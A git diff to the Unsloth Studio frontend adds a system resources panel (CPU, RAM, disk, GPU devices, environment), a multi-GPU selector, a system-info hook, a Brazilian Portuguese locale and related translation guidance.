+                      {ordinal === undefined
+                        ? backendLabel
+                        : `${t("settings.resources.gpu.deviceWithIndex", {
+                            index: ordinal,
+                          })}, ${backendLabel}`}
+                    </div>
+                  </div>
+                  <div className="shrink-0 font-mono text-xs tabular-nums text-muted-foreground">
+                    <span>
+                      {formatPercent(safePercent)}{" "}
+                      {t("settings.resources.gpu.vramUtilization")}
+                    </span>
+                  </div>
+                </div>
+                <div className="grid gap-1 text-xs text-muted-foreground sm:grid-cols-3 sm:gap-2">
+                  <span className="min-w-0 truncate font-mono tabular-nums">
+                    {t("settings.resources.gpu.used", {
+                      value: formatGb(used),
+                    })}
+                  </span>
+                  <span className="min-w-0 truncate font-mono tabular-nums sm:text-center">
+                    {t("settings.resources.gpu.free", {
+                      value: formatGb(free),
+                    })}
+                  </span>
+                  <span className="min-w-0 truncate font-mono tabular-nums sm:text-right">
+                    {t("settings.resources.gpu.total", {
+                      value: formatGb(total),
+                    })}
+                  </span>
+                </div>
+                <Progress
+                  value={safePercent}
+                  aria-label={device.name ?? "GPU"}
+                  className="h-1.5 rounded-full bg-muted"
+                  indicatorClassName={usageIndicatorClass(safePercent)}
+                />
+              </div>
+            );
+          })
+        ) : (
+          <div className="py-3 text-sm text-muted-foreground">
+            {t("settings.resources.gpu.noGpu")}
+          </div>
+        )}
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.storage.title")}>
+        <InfoRow
+          label={t("settings.resources.storage.systemDisk")}
+          value={t("settings.resources.storage.diskUsage", {
+            used: formatGb(metrics.diskUsed),
+            total: formatGb(metrics.diskTotal),
+          })}
+          detail={t("settings.resources.storage.diskFree", {
+            free: formatGb(metrics.diskFree),
+          })}
+        />
+        <SettingsRow
+          label={t("settings.resources.storage.modelsFolder")}
+          description={t("settings.resources.storage.modelsFolderDescription")}
+          className="max-sm:flex-col max-sm:items-start max-sm:gap-2"
+        >
+          <div className="flex min-w-0 items-center gap-2 max-sm:max-w-[calc(100vw-5rem)]">
+            <span
+              title={modelsFolder?.path}
+              className="min-w-0 max-w-[280px] truncate font-mono text-xs text-muted-foreground max-sm:max-w-[180px]"
+            >
+              {modelsFolderPath}
+            </span>
+            <Button
+              variant="outline"
+              size="sm"
+              disabled={!modelsFolder}
+              onClick={() => void handleModelsFolder()}
+            >
+              {isTauri
+                ? t("settings.resources.storage.openAction")
+                : t("settings.resources.storage.copyAction")}
+            </Button>
+          </div>
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.environment.title")}>
+        <InfoRow
+          label={t("settings.resources.environment.backend")}
+          value={backendLabel}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.python")}
+          value={systemInfo.python_version}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.torch")}
+          value={
+            systemInfo.ml_packages.torch ??
+            t("settings.resources.environment.notInstalled")
+          }
+        />
+        <InfoRow
+          label={t("settings.resources.environment.transformers")}
+          value={
+            systemInfo.ml_packages.transformers ??
+            t("settings.resources.environment.notInstalled")
+          }
+        />
+        <InfoRow
+          label={t("settings.resources.environment.uptime")}
+          value={formatUptime(systemInfo.uptime_seconds)}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.processMemory")}
+          value={formatMb(systemInfo.memory?.process_used_mb)}
+        />
+      </SettingsSection>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index 6aaca86e0b..abab35db93 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -29,6 +29,7 @@ import {
 import { getTrainingMethodLabel } from "@/features/training/lib/training-methods";
 import type { TrainingViewData } from "@/features/training";
 import { useGpuUtilization } from "@/hooks";
+import type { GpuUtilization } from "@/hooks/use-gpu-utilization";
 import { cn } from "@/lib/utils";
 import {
   ChartAverageIcon,
@@ -42,7 +43,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Link, useNavigate } from "@tanstack/react-router";
-import { type ReactElement, type ReactNode, useState } from "react";
+import { type ReactElement, type ReactNode, useEffect, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
 import { ChartSettingsSheet } from "./charts/chart-settings-sheet";
 import {
@@ -123,18 +124,17 @@ export function ProgressSection({
   const [stopDialogOpen, setStopDialogOpen] = useState(false);
   const [stopRequestedLocal, setStopRequestedLocal] = useState(false);
 
-  // Auto-resets when training stops; no useEffect needed
   const stopRequested = data.isTrainingRunning && stopRequestedLocal;
 
   const pct =
     data.totalSteps > 0
       ? Math.min(
-          100,
-          Math.max(
-            0,
-            Math.round((data.currentStep / data.totalSteps) * 100),
-          ),
-        )
+        100,
+        Math.max(
+          0,
+          Math.round((data.currentStep / data.totalSteps) * 100),
+        ),
+      )
       : Math.round(data.progressPercent);
 
   const elapsed = data.elapsedSeconds;
@@ -214,16 +214,16 @@ export function ProgressSection({
     },
     ...(data.trainingMethod !== "full"
       ? [
-          {
-            section: "LoRA",
-            rows: [
-              configRow(t("studio.progress.rank"), cfgLoraRank),
-              configRow(t("studio.progress.alpha"), cfgLoraAlpha),
-              configRow(t("studio.progress.dropout"), cfgLoraDropout),
-              configRow(t("studio.progress.variant"), cfgLoraVariant),
-            ],
-          },
-        ]
+        {
+          section: "LoRA",
+          rows: [
+            configRow(t("studio.progress.rank"), cfgLoraRank),
+            configRow(t("studio.progress.alpha"), cfgLoraAlpha),
+            configRow(t("studio.progress.dropout"), cfgLoraDropout),
+            configRow(t("studio.progress.variant"), cfgLoraVariant),
+          ],
+        },
+      ]
       : []),
   ];
 
@@ -350,8 +350,8 @@ export function ProgressSection({
               {stepsPerSecond == null
                 ? t("studio.progress.noStepsPerSecond")
                 : t("studio.progress.stepsPerSecond", {
-                    value: stepsPerSecond.toFixed(2),
-                  })}
+                  value: stepsPerSecond.toFixed(2),
+                })}
             </span>
             {data.currentNumTokens != null && (
               <span>{t("studio.progress.tokens", { value: data.currentNumTokens })}</span>
@@ -373,14 +373,50 @@ function LiveGpuPanel({
   isTrainingRunning: boolean;
 }): ReactElement {
   const t = useT();
-  const gpu = useGpuUtilization(isTrainingRunning);
+  const [selectedGpu, setSelectedGpu] = useState(0);
+  const gpuData = useGpuUtilization(isTrainingRunning);
+  const gpus: GpuUtilization[] =
+    Array.isArray(gpuData?.devices) && gpuData.devices.length > 0
+      ? gpuData.devices
+      : gpuData && Object.keys(gpuData).length > 0
+        ? [gpuData]
+        : [];
+
+  useEffect(() => {
+    if (selectedGpu > 0 && selectedGpu >= gpus.length) {
+      setSelectedGpu(0);
+    }
+  }, [gpus.length, selectedGpu]);
+
+  const gpuCount = gpus.length;
+  const currentGpu: Partial<GpuUtilization> = gpus[selectedGpu] || gpus[0] || {};
 
   return (
     <div className="flex flex-col gap-3">
-      <div className="flex items-center justify-between">
-        <p className="text-xs font-medium text-muted-foreground">
-          {t("studio.progress.gpuMonitor")}
-        </p>
+      <div className="flex items-center justify-between gap-4">
+        <div className="flex items-center gap-2">
+          <p className="text-xs font-medium text-muted-foreground">
+            {t("studio.progress.gpuMonitor")}
+          </p>
+          {gpuCount > 1 && (
+            <select
+              value={selectedGpu}
+              onChange={(e) => setSelectedGpu(Number(e.target.value))}
+              className="h-6 cursor-pointer rounded-md border border-border bg-popover px-1.5 py-0.5 text-[11px] text-popover-foreground outline-none hover:bg-muted focus:border-primary transition-colors font-medium appearance-none"
+              title="Select GPU"
+            >
+              {gpus.map((device, index) => (
+                <option
+                  key={device.index ?? index}
+                  value={index}
+                  className="bg-popover text-popover-foreground dark:bg-zinc-900 dark:text-zinc-100"
+                >
+                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GB` : "N/A"})
+                </option>
+              ))}
+            </select>
+          )}
+        </div>
         <span className="text-[11px] text-muted-foreground">
           {t("studio.progress.live")}
         </span>
@@ -388,51 +424,44 @@ function LiveGpuPanel({
       <div className="grid grid-cols-2 gap-2.5">
         <GpuStat
           label={t("studio.progress.utilization")}
-          icon={
-            <HugeiconsIcon
-              icon={DashboardSpeed01Icon}
-              className="size-3.5"
-            />
-          }
+          icon={<HugeiconsIcon icon={DashboardSpeed01Icon} className="size-3.5" />}
           value={
-            gpu.gpu_utilization_pct != null
-              ? `${gpu.gpu_utilization_pct}%`
+            currentGpu.gpu_utilization_pct != null
+              ? `${currentGpu.gpu_utilization_pct}%`
               : "--"
           }
-          pct={gpu.gpu_utilization_pct ?? 0}
+          pct={currentGpu.gpu_utilization_pct ?? 0}
         />
         <GpuStat
           label={t("studio.progress.temperature")}
-          icon={
-            <HugeiconsIcon icon={TemperatureIcon} className="size-3.5" />
-          }
+          icon={<HugeiconsIcon icon={TemperatureIcon} className="size-3.5" />}
           value={
-            gpu.temperature_c != null ? `${gpu.temperature_c}°C` : "--"
+            currentGpu.temperature_c != null ? `${currentGpu.temperature_c}°C` : "--"
           }
-          pct={gpu.temperature_c ?? 0}
+          pct={currentGpu.temperature_c ?? 0}
           max={100}
         />
         <GpuStat
           label={t("studio.progress.vram")}
           icon={<HugeiconsIcon icon={RamMemoryIcon} className="size-3.5" />}
           value={
-            gpu.vram_used_gb != null && gpu.vram_total_gb != null
-              ? `${gpu.vram_used_gb} / ${gpu.vram_total_gb} GB`
+            currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null
+              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GB`
               : "--"
           }
-          pct={gpu.vram_utilization_pct ?? 0}
+          pct={currentGpu.vram_utilization_pct ?? 0}
         />
         <GpuStat
           label={t("studio.progress.power")}
           icon={<HugeiconsIcon icon={ZapIcon} className="size-3.5" />}
           value={
-            gpu.power_draw_w != null
-              ? gpu.power_limit_w != null
-                ? `${gpu.power_draw_w} / ${gpu.power_limit_w} W`
-                : `${gpu.power_draw_w} W`
+            currentGpu.power_draw_w != null
+              ? currentGpu.power_limit_w != null
+                ? `${currentGpu.power_draw_w} / ${currentGpu.power_limit_w} W`
+                : `${currentGpu.power_draw_w} W`
               : "--"
           }
-          pct={gpu.power_utilization_pct ?? 0}
+          pct={currentGpu.power_utilization_pct ?? 0}
         />
       </div>
     </div>
@@ -560,7 +589,10 @@ function TrainingHeaderActions({
           <HugeiconsIcon icon={StopIcon} className="size-3" />
           {stopRequested ? t("studio.training.stopping") : t("studio.training.stopAction")}
         </Button>
-        <AlertDialogContent overlayClassName="bg-background/40 supports-backdrop-filter:backdrop-blur-[1px]">
+        <AlertDialogContent
+          className="w-max max-w-[95vw]"
+          overlayClassName="bg-background/40 supports-backdrop-filter:backdrop-blur-[1px]"
+        >
           <AlertDialogHeader>
             <AlertDialogTitle>{t("studio.training.stopTitle")}</AlertDialogTitle>
             <AlertDialogDescription>
diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts
index d5c923d57d..5b2fa43ae7 100644
--- a/studio/frontend/src/hooks/index.ts
+++ b/studio/frontend/src/hooks/index.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+
 export { useDebouncedValue } from "./use-debounced-value";
 export { useGpuInfo } from "./use-gpu-info";
 export { useGpuUtilization } from "./use-gpu-utilization";
@@ -9,3 +10,4 @@ export { useHfDatasetSplits } from "./use-hf-dataset-splits";
 export { useHfTokenValidation } from "./use-hf-token-validation";
 export { useTauriBackend } from "./use-tauri-backend";
 export { useCollapseScrollLock } from "./use-collapse-scroll-lock";
+export { useSystemInfo } from "./use-system";
diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts
index eb4d89abd8..1e313acdf3 100644
--- a/studio/frontend/src/hooks/use-gpu-info.ts
+++ b/studio/frontend/src/hooks/use-gpu-info.ts
@@ -3,19 +3,26 @@
 
 import { authFetch } from "@/features/auth";
 import { useEffect, useState } from "react";
+import type { SystemInfoResponse } from "./use-system";
 
 export interface GpuInfo {
   available: boolean;
   name: string;
   memoryTotalGb: number;
+  cpuCore: number;
+  cpuThread: number;
   systemRamAvailableGb: number;
+  systemRamTotalGb: number
 }
 
 const DEFAULT_GPU: GpuInfo = {
   available: false,
   name: "Unknown",
   memoryTotalGb: 0,
+  cpuCore: 0,
+  cpuThread: 0,
   systemRamAvailableGb: 0,
+  systemRamTotalGb: 0
 };
 
 // Module-level cache so multiple components share one fetch.
@@ -30,24 +37,30 @@ async function fetchGpuOnce(): Promise<GpuInfo> {
     try {
       const res = await authFetch("/api/system");
       if (!res.ok) throw new Error(`HTTP ${res.status}`);
-      const data = await res.json();
-      const ramAvailableGb = data?.memory?.available_gb ?? 0;
+
+      const data = await res.json() as SystemInfoResponse;
       const gpuData = data?.gpu;
-      if (!gpuData?.available || !gpuData.devices?.length) {
-        // No discrete GPU (e.g. Mac): still surface system RAM so memory math
-        // (unified memory) has a budget to work with.
-        const info: GpuInfo = { ...DEFAULT_GPU, systemRamAvailableGb: ramAvailableGb };
-        cachedGpu = info;
-        return info;
-      }
-      const devices = gpuData.devices as Array<{ name?: string; memory_total_gb?: number }>;
-      const totalGb = devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0);
-      const info: GpuInfo = {
-        available: true,
-        name: devices[0]?.name ?? "Unknown",
-        memoryTotalGb: totalGb,
-        systemRamAvailableGb: ramAvailableGb,
+
+      // CPU/RAM exist even on hosts without a GPU, so populate them on every path.
+      // No discrete GPU (e.g. Mac): still surface system RAM so memory math
+      // (unified memory) has a budget to work with.
+      const base = {
+        cpuCore: data?.cpu?.physical_count ?? 0,
+        cpuThread: data?.cpu?.logical_count ?? 0,
+        systemRamAvailableGb: data?.memory?.available_gb ?? 0,
+        systemRamTotalGb: data?.memory?.total_gb ?? 0,
       };
+
+      const devices = gpuData?.devices ?? [];
+      const info: GpuInfo =
+        gpuData?.available && devices.length
+          ? {
+              ...base,
+              available: true,
+              name: devices[0]?.name ?? "Unknown",
+              memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0),
+            }
+          : { ...DEFAULT_GPU, ...base };
       cachedGpu = info;
       return info;
     } catch {
@@ -78,4 +91,4 @@ export function useGpuInfo(): GpuInfo {
   }, []);
 
   return gpu;
-}
+}
\ No newline at end of file
diff --git a/studio/frontend/src/hooks/use-gpu-utilization.ts b/studio/frontend/src/hooks/use-gpu-utilization.ts
index 1a9f6102dd..be16647a4d 100644
--- a/studio/frontend/src/hooks/use-gpu-utilization.ts
+++ b/studio/frontend/src/hooks/use-gpu-utilization.ts
@@ -7,6 +7,9 @@ import { useEffect, useRef, useState } from "react";
 export interface GpuUtilization {
     available: boolean;
     backend: string | null;
+    devices?: GpuUtilization[];
+    index?: number;
+    visible_ordinal?: number;
     gpu_utilization_pct: number | null;
     temperature_c: number | null;
     vram_used_gb: number | null;
@@ -57,11 +60,10 @@ export function useGpuUtilization(
                 const json = (await res.json()) as GpuUtilization;
                 if (!cancelled) setData(json);
             } catch {
-                // Silently ignore — next poll will retry
+                // Retry on the next poll.
             }
         }
 
-        // Fetch immediately, then set up interval
         void poll();
         timerRef.current = setInterval(() => void poll(), intervalMs);
 
diff --git a/studio/frontend/src/hooks/use-system.ts b/studio/frontend/src/hooks/use-system.ts
new file mode 100644
index 0000000000..a135cce86e
--- /dev/null
+++ b/studio/frontend/src/hooks/use-system.ts
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { useEffect, useState } from "react";
+
+export interface GpuDevice {
+  index?: number;
+  index_kind?: string;
+  visible_ordinal?: number;
+  name?: string;
+  memory_total_gb?: number;
+  vram_used_gb?: number;
+  vram_free_gb?: number;
+  vram_utilization_pct?: number | null;
+}
+
+export interface SystemInfoResponse {
+  platform: string;
+  python_version: string;
+  device_backend: "cuda" | "rocm" | "cpu" | "mlx" | "xpu";
+  uptime_seconds: number | null;
+  cpu: {
+    logical_count: number;
+    physical_count: number;
+    usage_percent: number;
+    frequency_mhz: number | null;
+  };
+  memory: {
+    total_gb: number;
+    available_gb: number;
+    percent_used: number;
+    process_used_mb: number;
+  };
+  disk: {
+    total_gb: number;
+    free_gb: number;
+    percent_used: number;
+  };
+  gpu: {
+    available: boolean;
+    backend?: string;
+    backend_cuda_visible_devices?: string | null;
+    parent_visible_gpu_ids?: number[];
+    index_kind?: string;
+    devices: GpuDevice[];
+  };
+  ml_packages: {
+    torch?: string;
+    transformers?: string;
+  };
+}
+
+let cachedSystem: SystemInfoResponse | null = null;
+let systemFetchPromise: Promise<SystemInfoResponse> | null = null;
+
+const DEFAULT_SYSTEM: SystemInfoResponse = {
+  platform: "Unknown",
+  python_version: "Unknown",
+  device_backend: "cpu",
+  uptime_seconds: 0,
+  cpu: { logical_count: 0, physical_count: 0, usage_percent: 0, frequency_mhz: null },
+  memory: { total_gb: 0, available_gb: 0, percent_used: 0, process_used_mb: 0 },
+  disk: { total_gb: 0, free_gb: 0, percent_used: 0 },
+  gpu: { available: false, devices: [] },
+  ml_packages: {}
+};
+
+async function fetchSystemOnce({
+  force = false,
+}: { force?: boolean } = {}): Promise<SystemInfoResponse> {
+  if (systemFetchPromise) return systemFetchPromise;
+  if (!force && cachedSystem) return cachedSystem;
+
+  systemFetchPromise = (async () => {
+    try {
+      const res = await authFetch("/api/system");
+      if (!res.ok) throw new Error(`HTTP ${res.status}`);
+      const data = await res.json();
+
+      cachedSystem = data as SystemInfoResponse;
+      return cachedSystem;
+    } catch {
+      cachedSystem = null;
+      return DEFAULT_SYSTEM;
+    } finally {
+      systemFetchPromise = null;
+    }
+  })();
+
+  return systemFetchPromise;
+}
+
+interface UseSystemInfoOptions {
+  pollMs?: number;
+  enabled?: boolean;
+}
+
+export function useSystemInfo({
+  pollMs,
+  enabled = true,
+}: UseSystemInfoOptions = {}): SystemInfoResponse {
+  const [systemInfo, setSystemInfo] = useState<SystemInfoResponse>(cachedSystem ?? DEFAULT_SYSTEM);
+
+  useEffect(() => {
+    if (!enabled) return;
+
+    let cancelled = false;
+    let timeoutId: number | null = null;
+
+    const update = (force: boolean) => {
+      void fetchSystemOnce({ force })
+        .then((info) => {
+          if (!cancelled) setSystemInfo(info);
+        })
+        .finally(() => {
+          if (cancelled || !pollMs) return;
+          timeoutId = window.setTimeout(() => update(true), pollMs);
+        });
+    };
+
+    update(Boolean(pollMs));
+    return () => {
+      cancelled = true;
+      if (timeoutId !== null) window.clearTimeout(timeoutId);
+    };
+  }, [enabled, pollMs]);
+
+  return systemInfo;
+}
diff --git a/studio/frontend/src/i18n/AGENTS.md b/studio/frontend/src/i18n/AGENTS.md
index 42d964acca..35c025cd0b 100644
--- a/studio/frontend/src/i18n/AGENTS.md
+++ b/studio/frontend/src/i18n/AGENTS.md
@@ -2,10 +2,11 @@
 
 - `locales/en.ts` is the complete baseline message file.
 - Non-English locale files may be partial. Missing keys must fall back to English at runtime.
-- Use BCP 47 locale tags for new languages, for example `zh-CN`, `ja-JP`, and `ko-KR`.
+- Use BCP 47 locale tags for new languages, for example `zh-CN`, `pt-BR`, `ja-JP`, and `ko-KR`.
 - Do not change fallback logic to hide missing translations.
 - Do not add automatic DOM translation, MutationObserver text replacement, or runtime guess-based translation.
 - Preserve interpolation variables exactly, for example `{count}`, `{model}`, and `{provider}`.
 - Keep product and technical names unchanged unless there is an established localized name, for example `Unsloth Studio`, `LoRA`, `GGUF`, and `Hugging Face`.
 - Keep translation changes small and reviewable. Prefer separate commits for runtime changes, UI migration, and locale text.
 - When adding user-facing Studio UI text, add the English message key first and add non-English overrides only when the translation is clear.
+- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays.
\ No newline at end of file
diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts
index 8c027f9ce3..e2b66f5cdc 100644
--- a/studio/frontend/src/i18n/check-parity.ts
+++ b/studio/frontend/src/i18n/check-parity.ts
@@ -3,13 +3,14 @@
 
 // Parity check between en.ts and every non-English locale.
 // - Locale files may be partial; missing keys must fall back to English.
-// - All zh-CN keys must exist in en (no extras).
+// - All non-English keys must exist in en (no extras).
 // - Placeholder set must match per leaf between en and the overlay.
 //
 // Run: npx tsx src/i18n/check-parity.ts
 
 import { en } from "./locales/en.ts";
 import { zhCN } from "./locales/zh-CN.ts";
+import { ptBR } from "./locales/pt-br.ts";
 import { ja } from "./locales/ja.ts";
 
 type Tree = { readonly [k: string]: string | Tree };
@@ -90,6 +91,7 @@ function checkExtras(
 
 const overlays: Record<string, Tree> = { 
   "zh-CN": zhCN as unknown as Tree,
+  "pt-BR": ptBR as unknown as Tree,
   "ja": ja as unknown as Tree,
 };
 let anyError = false;
@@ -112,4 +114,4 @@ for (const [locale, overlay] of Object.entries(overlays)) {
 }
 
 if (anyError) process.exit(1);
-console.log("\nAll locale overlays pass parity.");
+console.log("\nAll locale overlays pass parity.");
\ No newline at end of file
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 136e8523ba..92abc222a0 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -92,6 +92,7 @@ export const en = {
       general: "General",
       profile: "Profile",
       appearance: "Appearance",
+      resources: "System",
       chat: "Chat",
       connections: "Connections",
       apiKeys: "API",
@@ -275,6 +276,58 @@ export const en = {
           "Keep the sidebar expanded instead of collapsing to icons.",
       },
     },
+    resources: {
+      title: "System",
+      description: "Monitor this Studio server's hardware and storage.",
+      liveUpdates: "Live updates",
+      floatingWindow: "Floating window",
+      disableOverlay: "Disable overlay",
+      liveMonitor: {
+        title: "Live monitor",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disk",
+        vram: "VRAM",
+        cpuCores: "{logical} logical / {physical} physical cores",
+        currentLoad: "Current load",
+        free: "{value} free",
+        noGpu: "No visible GPU",
+      },
+      gpu: {
+        title: "GPU devices",
+        noGpu: "No visible GPU detected. CPU-only resources are shown above.",
+        unknownDevice: "Unknown GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} used",
+        free: "{value} free",
+        total: "{value} total",
+      },
+      storage: {
+        title: "Storage",
+        systemDisk: "System disk",
+        diskUsage: "{used} used / {total}",
+        diskFree: "{free} free",
+        modelsFolder: "Models folder",
+        modelsFolderDescription: "Where downloaded models are stored.",
+        openAction: "Open",
+        copyAction: "Copy path",
+        copied: "Path copied",
+        openError: "Couldn't open the folder",
+        copyError: "Couldn't copy the path",
+      },
+      environment: {
+        title: "Environment",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Uptime",
+        processMemory: "Process memory",
+        notInstalled: "Not installed",
+        unknown: "Unknown",
+      },
+    },
     chat: {
       title: "Chat",
       description: "Manage chat history stored on this device.",
@@ -373,8 +426,10 @@ export const en = {
       usageTools: "Tools",
       exampleCurlTools: "curl + tools",
       examplePythonTools: "Python + tools",
+      exampleJavaScriptTools: "JavaScript + tools",
       exampleCurlAdvanced: "curl + advanced",
       examplePythonAdvanced: "Python + advanced",
+      exampleJavaScriptAdvanced: "JavaScript + advanced",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "Secure HTTPS",
diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts
new file mode 100644
index 0000000000..c261e4ed0c
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/pt-br.ts
@@ -0,0 +1,934 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export const ptBR = {
+  common: {
+    cancel: "Cancelar",
+    close: "Fechar",
+    delete: "Excluir",
+    done: "Concluído",
+    error: "Erro",
+    export: "Exportar",
+    help: "Ajuda",
+    loading: "Carregando...",
+    new: "Novo",
+    rename: "Renomear",
+    save: "Salvar",
+    saving: "Salvando...",
+    search: "Buscar",
+    shutdown: "Desligar",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menu de conta {name}",
+    updateAvailable: "Atualização disponível",
+    aria: {
+      home: "Início do Unsloth",
+      closeSidebar: "Fechar barra lateral",
+      openSidebar: "Abrir barra lateral",
+      chatOptions: "Opções de chat",
+      runOptions: "Opções de execução",
+    },
+    navigation: {
+      newChat: "Novo Chat",
+      returnToChat: "Retornar ao Chat",
+      compare: "Comparar",
+      search: "Buscar",
+      hub: "Hub",
+      train: "Treinar",
+      recipes: "Receitas",
+      export: "Exportar",
+      recents: "Recentes",
+      settings: "Configurações",
+      api: "API",
+      lightMode: "Modo Claro",
+      darkMode: "Modo Escuro",
+      guidedTour: "Tour Guiado",
+      help: "Ajuda",
+      logOut: "Sair",
+      shutdown: "Desligar",
+    },
+    notFound: {
+      title: "Página não encontrada",
+      description: "{path} não existe.",
+      backToChat: "Voltar para o chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Excluir chat",
+        description: 'Tem certeza de que deseja excluir este chat "{name}"?',
+      },
+      deleteRun: {
+        title: "Excluir execução de treino",
+        description: 'Tem certeza de que deseja excluir esta execução "{name}"?',
+      },
+      renameChat: {
+        title: "Renomear chat",
+        placeholder: "Título do chat",
+      },
+      renameRun: {
+        title: "Renomear execução",
+        placeholder: "Nome da execução",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "Não é possível excluir uma execução de treino em andamento",
+      failedToDeleteChat: "Falha ao excluir o chat",
+      failedToDeleteRun: "Falha ao excluir a execução",
+      failedToRenameChat: "Falha ao renomear o chat",
+      failedToRenameRun: "Falha ao renomear a execução",
+    },
+  },
+  settings: {
+    title: "Configurações",
+    dialog: {
+      title: "Configurações",
+      description: "Gerencie suas preferências do Unsloth.",
+      closeAriaLabel: "Fechar configurações",
+    },
+    tabs: {
+      general: "Geral",
+      profile: "Perfil",
+      appearance: "Aparência",
+      resources: "Sistema",
+      chat: "Chat",
+      connections: "Conexões",
+      apiKeys: "API",
+      about: "Sobre",
+    },
+    general: {
+      title: "Geral",
+      description: "Preferências globais do Unsloth.",
+      account: "Conta",
+      huggingFaceToken: "Token do Hugging Face",
+      huggingFaceTokenDescription:
+        "Usado para carregar modelos restritos e enviar artefatos.",
+      tokenSaved: "Token salvo",
+      hideToken: "Ocultar token",
+      showToken: "Mostrar token",
+      password: "Senha",
+      passwordDescription: "Altere a senha desta conta do Studio.",
+      passwordDialog: {
+        trigger: "Alterar senha",
+        title: "Alterar senha",
+        description:
+          "Insira sua senha atual e escolha uma nova (no mínimo {minLength} caracteres).",
+        currentPassword: "Senha atual",
+        newPassword: "Nova senha",
+        confirmPassword: "Confirmar nova senha",
+        currentTooShort:
+          "A senha atual deve ter no mínimo {minLength} caracteres.",
+        newTooShort: "A nova senha deve ter no mínimo {minLength} caracteres.",
+        mismatch: "As senhas não coincidem.",
+        samePassword:
+          "A nova senha deve ser diferente da senha atual.",
+        update: "Atualizar senha",
+        updating: "Atualizando...",
+        updated: "Senha atualizada.",
+        updateFailed: "Falha ao atualizar a senha.",
+      },
+      chatDefaults: "Padrões do chat",
+      autoTitleNewChats: "Gerar título automático para novos chats",
+      autoTitleNewChatsDescription:
+        "Gera um título curto a partir da primeira mensagem.",
+      helperLlm: {
+        sectionTitle: "LLM Auxiliar",
+        preloadOnStartup: "Pré-carregar LLM Auxiliar na inicialização",
+        preloadOnStartupDescription:
+          "Baixa o modelo auxiliar do Assistente de IA em segundo plano ao iniciar. Desativado por padrão; o Assistente de IA ainda pode buscá-lo sob demanda.",
+        disabledByEnv:
+          "Desativado por UNSLOTH_HELPER_MODEL_DISABLE no ambiente de backend.",
+        loadError: "Falha ao carregar as configurações do LLM Auxiliar.",
+        saveError: "Falha ao salvar as configurações do LLM Auxiliar.",
+      },
+      notifications: {
+        sectionTitle: "Notificações",
+        showLlamaUpdates: "Notificações de atualização do llama.cpp",
+        showLlamaUpdatesDescription:
+          "Notifica quando uma nova versão do llama.cpp estiver disponível. Desative se você apenas realiza treinos.",
+      },
+      gettingStarted: "Primeiros passos",
+      startOnboarding: "Iniciar integração",
+      startOnboardingDescription:
+        "Reabre o assistente de configuração sem alterar sua conta.",
+      startOnboardingAction: "Iniciar integração",
+      uploads: {
+        sectionTitle: "Uploads",
+        maxUploadSize: "Limite de upload do dataset de treino",
+        maxUploadSizeDescription:
+          "O padrão é {defaultSize} MB.",
+      },
+      storage: {
+        sectionTitle: "Armazenamento",
+        modelsFolder: "Pasta de modelos",
+        modelsFolderDescription:
+          "Onde os modelos baixados são armazenados.",
+        openAction: "Abrir",
+        copyAction: "Copiar caminho",
+        copied: "Caminho copiado",
+        openError: "Não foi possível abrir a pasta",
+        copyError: "Não foi possível copiar o caminho",
+      },
+      resetPreferences: {
+        sectionTitle: "Zona de perigo",
+        label: "Redefinir todas as preferências locais",
+        description:
+          "Limpa apenas as preferências locais. Chats, acesso à API e configurações salvas no banco de dados são mantidos.",
+        action: "Redefinir preferências",
+        confirmTitle: "Redefinir todas as preferências locais?",
+        confirmDescription:
+          "Limpa as preferências locais e recarrega o Unsloth. Chats, acesso à API e configurações salvas no banco de dados são mantidos.",
+        confirmAction: "Redefinir e recarregar",
+      },
+    },
+    profile: {
+      title: "Perfil",
+      description: "Como seu perfil aparece no Unsloth.",
+      changePicture: "Alterar foto de perfil",
